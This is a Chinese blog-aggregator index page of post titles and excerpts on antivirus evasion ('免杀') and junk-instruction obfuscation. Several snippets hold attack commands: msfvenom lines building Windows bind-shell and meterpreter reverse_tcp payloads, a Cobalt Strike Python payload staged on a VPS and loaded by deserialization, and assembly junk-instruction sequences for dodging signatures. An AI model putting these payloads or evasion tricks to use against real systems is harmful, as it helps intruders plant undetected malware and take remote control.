免杀_花指令

python 免杀验证

使用Metasploit生成C语言风格的一些shellcode作为载荷，这里使用Windowsbindshell，功能为选定一个TCP端口与cmd.exe进程绑定在一起，方便攻击者远程连接进行操控。输入命令：msfvenom-pwindows/shell_bind_tcpLPORT=1337-fc-opayload.c接着在Python中调用ctypes库，定义一个存在该shellcode的变量，
SkTj·2021-04-19 05:15

windows免杀工具三部曲（二）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 17:49

windows免杀工具三部曲（一）

前言在渗透测试中经常遇到有杀毒的软件，不会代码层的我只能寻找几款不错的免杀工具。进行傻瓜式配置。
CSeroad·2021-04-18 09:46

利用python免杀cs shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
蚁景科技·2021-04-14 21:19

免杀工具FourEye(重明)

首先感谢作者lengyi，感觉玩Web的除了一部分因为工作原因不需要接触免杀，其他的一些做渗透的都需要接触免杀，但是里面也有很多代码能力不足的同学，个人感觉挺需要这种一键免杀的工具。
LMcream·2021-04-12 23:42

博客

主要方向：java代码审计内网渗透免杀渗透测试
唐小风7·2021-04-12 15:25

metasploit简单实战 获得win7shell

两台虚拟机kali：192.168.56.158win7：192.168.56.1451.使用metasploit的msfvenom生成木马然后你可以通过各种方式把木马搞到别人电脑上最好做一下免杀处理，
luckyQAQ·2021-03-11 05:31

windows免杀工具-加载shellcode

前言HW在即，免杀是通往内网的重要桥梁。手里多备点免杀工具总是没错的。
CSeroad·2021-02-09 15:03

windows命令行反弹shell(一)

powershell反弹cmdpowercat是netcat的powershell版本，功能免杀性都要比netcat好用的多。
CSeroad·2021-02-05 10:33

（记录向）Python反序列化免杀上线CS（并使用Shielden加密绕过360）

1、首先cs生成一个64位的PythonPayload2、截取其中的Payload，并进行base64编码。3、把这一串子base64放到VPS上。并开启web服务。python3-mhttp.server77774、使用以下脚本。将PythonPayload进行反序列化。importpickleimportbase64shellcode="""importctypes,urllib.reques
daxi0ng·2021-01-31 11:41

Metasploit实现木马生成、捆绑及免杀

木马的捆绑在社会工程学中是我们经常使用的手段，而为了躲避杀毒软件的查杀，我们又不得不对木马进行免杀处理。
·2021-01-26 02:51

杀毒与免杀技术详解---白嫖党福音

简介不管是社工钓鱼，还是一句话木马getshell，远控，亦或者是反弹shell，都会遇到杀软waf这些大敌，当然主要还是杀软，因此我们不得不考虑免杀进而实现我们渗透测试目的。
程序猿小白^·2021-01-15 13:43

一句话木马以及免杀

此篇只讨论php，其实原理是相同的，本文的思路依然适用于其他语言WAF一般都是维护一个规则库，记录webshell常用的函数、方法等等，通过这个规则库匹配从而检测是否是木马.当匹配上对应特征时就是告警，但是规则匹配肯定会有误报，waf一直告警也很烦，所以waf一般会稳定为首要目标，也会放宽一下规则，这就是绕的基础查杀软件我首先：D盾『D盾_防火墙』专为IIS设计的一个主动防御的保护软件,以内外保护
fuqin.ltd·2021-01-08 17:02

pyinstaller+cs生成免杀exe过杀毒软件

pyinstaller+cs生成免杀exe过杀毒软件简介：之前学习免杀都是使用Metasploit自带的编码进行，从未成功过。
Dmct·2021-01-01 21:44

.htaccess 文件不工作_手撕CTFHub-Web(六)：文件上传

用的Webshell是在真实的网站中获取的，我把这些Webshell保存了下来，都是免杀的无验证1.因为没有验证，直接上传了一个webshell，还告诉我传到了哪儿。
撒哈巴拉卡达西亚·2020-12-30 03:28

CS木马免杀(绕过360杀毒与腾讯安全管家)

CS木马免杀(绕过360杀毒与腾讯安全管家)步骤1搭建服务器.
为你而来xss·2020-12-29 17:55

【免杀】加载LSB隐写shellcode

参考资料：B站yuppt【学习分享】分离免杀shellcode#include《stdlib.h》作用#include〈stdio.h〉有什么作用C/C++文件读写操作——FILE*、fstream、windowsAPIfseek
Sp0n·2020-12-19 23:15

python 生成payload_利用python免杀cs shellcode

原创AgeloVito合天智汇0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年
weixin_39834488·2020-12-05 19:52

python pointer_免杀 | 利用Python免杀CS Shellcode

0x01前言2019年，告别了coder的世界，告别了从前的生活。我决定暂时抛开金钱至上的价值体系，以一个Fuckingloser的身份去寻找人生中的三大哲学问题，我是谁，我在哪儿，我在做什么。褪去了互联网行业的尔虞我诈，轻浮缥缈。在这个铺天盖地的泛娱乐时代，我决定去看看大海，去感受下海水的味道，没错，它确实是咸的。当沙滩上的沙子铺满全身的那一刻，我，拥有了几分钟童年。在途中，偶遇了黄河，没错，它
weixin_39842617·2020-11-27 08:31

php5.5 反序列化利用工具_利用Python反序列化运行加载器实现免杀

前言前几天在看Python的shellcode加载器，在网上找了一个，结果加载器自身就过不了火绒，测试发现是火绒对关键语句进行了识别。所以我们要想办法去掉加载器中明显的特征。原理及实现在绕过静态查杀方面，主要就是要隐藏特征，比较常见的就是各种混淆、加密，但加密后的代码到最终还是需要去执行它才行，代码执行这一个操作其实特征也是很明显的，像exec、eval、os.system、subprocess.
weixin_39558521·2020-11-25 18:04

PHP后门隐藏的一些技巧总结

前言如果想让自己的Webshell留的更久一些，除了Webshell要免杀，还需要注意一些隐藏技巧，比如隐藏文件，修改时间属性，隐藏文件内容等。
·2020-11-19 09:13

【漏洞利用框架】Metasploit基本使用

漏洞利用四、漏洞攻击流程1、搜索攻击模块2、进入模块3、查看模块所需参数4、设置配置参数5、查询该模块下的payload6、设置payload7、启动服务五、永恒之蓝六、meterpreter会话管理七、免杀八
是Z先生·2020-09-28 15:48

20155236范晨歌_EXP3免杀原理与实践

20155236范晨歌_免杀原理与实践免杀概述免杀，也就是反病毒（AntiVirus）与反间谍（AntiSpyware）的对立面，英文为Anti-AntiVirus（简写VirusAV），逐字翻译为“反
djt1999·2020-09-17 16:37

iOS安全攻防（二十三）：Objective-C代码混淆

混淆的常规思路混淆分许多思路，比如：1）花代码花指令，即随意往程序中加入迷惑人的代码指令2）易读字符替换等等防止class-dump出可读信息的有效办法是易读字符替换。Obj
念茜·2020-09-16 06:14

Metasploit——msfvenom免杀木马

msfvenom命令的参数Options:-l,--list#列出所有可用的项目，其中值可以被设置为payloads,encoders,nops,platforms,archs,encrypt,formats等等-p,--payload#指定特定的Payload，如果被设置为-，那么从标准输入流中读取--list-options#列出--payload的标准，高级和规避选项-f,--format#
小白白@·2020-09-15 09:36

黑客工具

[木马]·全套asp全免杀马(海洋,老兵,小马.....)共四个asp木马,经过检测全都免杀!
hehe0108·2020-09-15 07:44

buuctf刷题记录25 [WUSTCTF2020]funnyre

太巧了，昨天刚看了有关angr的视频今天就碰到有关的题目了这道题考察两点吧：1.简单的花指令去除2.在有限域上简化无壳，ida64打开，发现不能f5，而且也没有main函数，判断应该是用了混淆从上往下看汇编代码
ytj00·2020-09-14 21:26

Mimikatz的18种免杀姿势及防御策略

PS：建议：win10慎用，唉，伤心然后按照里面的的步骤一步步去执行，有很多错误，所以如果您只是看技巧的话，可以去原文查看哦。或者读的时候略过我的错误部分啦。>_$wc=new-objectnet.webclientC:\Users\Xor0ne\Desktop>$wc.Proxy.Credentials=[System.Net.CredentialCache]::DefaultNetworkCr
小样！！！·2020-09-14 21:06

MSF里侦听模块的使用教程 exploit/multi/handler

如果想过墙只能自己加免杀的代码喽，反正我是还没学到呢。或者去百度shellter下载剥壳机自己加免杀的，有两个版本免费版和专业版，本人亲测免费版过不了windo
F&G·2020-09-14 20:59

【免杀篇】远控免杀专题(69)-Mimikatz的18种免杀姿势及防御策略(下)

当你的才华还撑不起你的野心时那你就应该静下心来学习目录方法11-用C#加载mimikatz(VT查杀率35/73)方法12-JS加载mimikatz(VT查杀率22/59)方法13-msiexec加载mimikatz(VT查杀率25/60)方法14-白名单msbuild.exe加载(VT查杀率4/59)方法15-JScript的xsl版(VT查杀率7/60)方法16-jscript的sct版(VT
Agan '·2020-09-14 17:27

VirtualApp技术黑产利用研究报告

VA免安装运行APK的特性使得VA内应用与VA相比具有不同的应用特征，这使得VA可用于免杀。此外，VA对被多开应用
lee咸鱼·2020-09-14 14:34

必须转载:Metasploit Pro 完全免杀

Becomeinvisibletoanti-virusprotectionWouldn’titbefantastictobeinvisibleforaday?Walkstraightintoabankvaultinthemorning,beaflyonthewallintheOvalOfficeforlunch,andspendaneveninginyourfavoritemoviestar’sh
weixin_33853794·2020-09-14 08:47

[原创]K8uac bypassUAC(Win7/Wi8/Win10) 过46款杀软影响所有Windows版本

不但支持全系统而且还免杀,你让我上哪说理去。免杀报告:http://r.virscan.org/language/en/report/2b1a191
weixin_30335353·2020-09-14 07:17

msf反弹木马之免杀

原理利用msf模块中的msfvenom模块，首先生成.exe木马文件，用靶机打开，攻击成功后，就渗透到了靶机系统中。准备win7靶机ip：192.168.56.130kali攻击机ip:192.168.56.135##实战开始1.打开kali机，在命令行输入：msfvenom-pwindows/meterpreter/reverse_tcpLHOST=192.168.56.135lport=123
imbia·2020-09-14 07:08

veil-evasion 在xp下的三分之二免杀

1.apt-getinstallveil-evasion2.List--查找相应的木马生成模块3.选择354.Options--查看需要设置的选项5.Setuse_pyherionY6.Generate7.选择1.msfvenom（defualt）8.设置本机ip10.10.10.128，端口44449.重命名木马xx.rc10.选择1pyinstaller（default）11.找到生成的木马文
a439017985·2020-09-14 05:47

Crack8 + QQ吻的教程更新110个（20091016）

Crack8+QQ吻的教程更新110个（20091016）QQ吻QQ396890445有偿收徒软件脱壳木马病毒免杀VB编程诚信交易骗子勿扰^O^点此查看QQ吻最近更新教程^O^QQ吻==VB黑客编程班教程
K8_team·2020-09-13 14:02

Android代码混淆踩过的那些坑

代码混淆(Obfuscatedcode)亦称花指令，是将计算机程序的代码，转换成一种功能上等价
mpw小白·2020-09-13 07:08

分享一个远程控制软件源代码

没有怎么去优化，也不免杀，有很多Bug遗留。放出代码也仅仅是为了给远程控制爱好者作为入门级的参考。因为现在很久没有用C++做windows上面的开发了。电脑上也没安装visualstudio。
Witch_Soya·2020-09-13 05:52

免杀技术

与防病毒厂商共享信息VirusTotalhttps://www.virustotal.com/zh-cnVirScanhttps://virscan.org黑产在线查杀引擎https://nodistribute.comhttp://viruscheckmate.com扫描网站安全性http://onlinelinkscan.com使用msf编码模块生成后门msfvenom-pwindows/sh
weixin_30755393·2020-09-12 01:58

男女那点破事儿——饺子情结

李世民，一代天可汗，万世帝皇表率，也不免杀兄霸嫂。多尔衮，统领八旗，入主中原，奠定万世基业。可谓权势滔天，却拜倒在嫂子孝庄的裙下。而文学作品中更是热衷于此类“叔嫂”情节。以四大名著为例。
公子明月光·2020-09-11 20:41

免杀原理详解(二)

一：灰鸽子免杀方法大全在所有的版本中，黑防的鸽子算是比较好做免杀的了，今天在这里，我就用他做案例1，最经典的OD一半一半定位法我们把整个黑色标记的区域看成是没有修改的木马代码把它从中间切平均分成两半，把其中的一半用
byte_way·2020-09-11 12:52

木马免杀之汇编花指令技巧

木马免杀之汇编花指令技巧相信很多朋友都做过木马免杀，早期的免杀都是加壳和改特征码，现在免杀技术已经发展到花指令免杀，改壳之类的，而这些需要一定的汇编知识，但是汇编却不是一块容易啃的骨头，所以我写了这篇菜鸟版的免杀汇编教程
zhu2695·2020-09-11 12:49

免杀花指令

今天送上经典花指令注:编写花指令,可参考以下成双指令,可任意自由组合.达到免杀效果.pushebppopebppusheaxpopeaxpushesppopesppush0push0push10----
weixin_34106122·2020-09-11 11:45

免杀之路

(一)、免杀应注意的事项:1.免杀的测试(在线杀毒、杀毒软件上报、世界反毒网:http://www.virustotal.com/zh-cn/)在这里我建议大家不要上传自己的马到这样的网站上去.一上传不要多久就会被杀了
weixin_34096182·2020-09-11 11:44

免杀技术经验总结

学习免杀，首先你得学会汇编把，基础的指令要懂得一些，一般的指令修改必须会，一般的修改这里就不赘述了，接下来就是掌握一些常用的免杀技巧，这里总结一些第一：我们学习免杀的方向：只是为了保护自己的黑软的话！
weixin_33834075·2020-09-11 10:29

免杀技术

基础内容杀毒软件是如何检测出恶意代码的？1.静态分析方法就是在不运行恶意代码的情况下，利用分析工具对恶意代码的静态特征和功能模块进行分析的方法。静态分析工具包括ollyDump（GigaPede2009）、W32DASM（URSoftware2009）、IDAPro（DataReseue2009）和HIEw（Suslikov2009）等。利用静态分析方法，可以分析出恶意代码的大致结构，可以确定恶意
weixin_30615767·2020-09-11 10:24

免杀小结（特征码）

于是找了本（黑客免杀攻防）挑出几章看了一下。发现原来教程里不讲原理，导致我不知道讲师在做什么。
Expl0it_·2020-09-11 10:14

花指令原理

转自：http://hi.baidu.com/zhangjw918/blog/item/c69a7943e16de1189213c62f.html第一个免杀花指令生成器--不简单的免杀工具(图)陆续将以前发表在杂志的文章放上来
longxin5·2020-09-11 09:13

花指令免杀

最近开始研究免杀技术，首先强烈推荐《黑客免杀攻防》一书，作者写的很接地气，非常有实战性的一本教材。我看了之后，对其中的一些思想和用到的技术比较有共鸣，是这段时间难得坚持看的一本书。
iteye_2140·2020-09-11 08:53

免杀之花指令

pushebppopebppusheaxpopeaxpushesppopesppush0push0push10-------其中数字可以任意,注意与下面对应push-10nop-----------可任意在中间添加与它等效的:movEDI,EDIaddesp,1-------其中数字可以任意,注意以下面对应addesp,-1addesp,1--------其中数字可以任意,注意以下面对应subes
iiprogram·2020-09-11 08:14
上一页 6 7 8 9 10 11 12 13 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他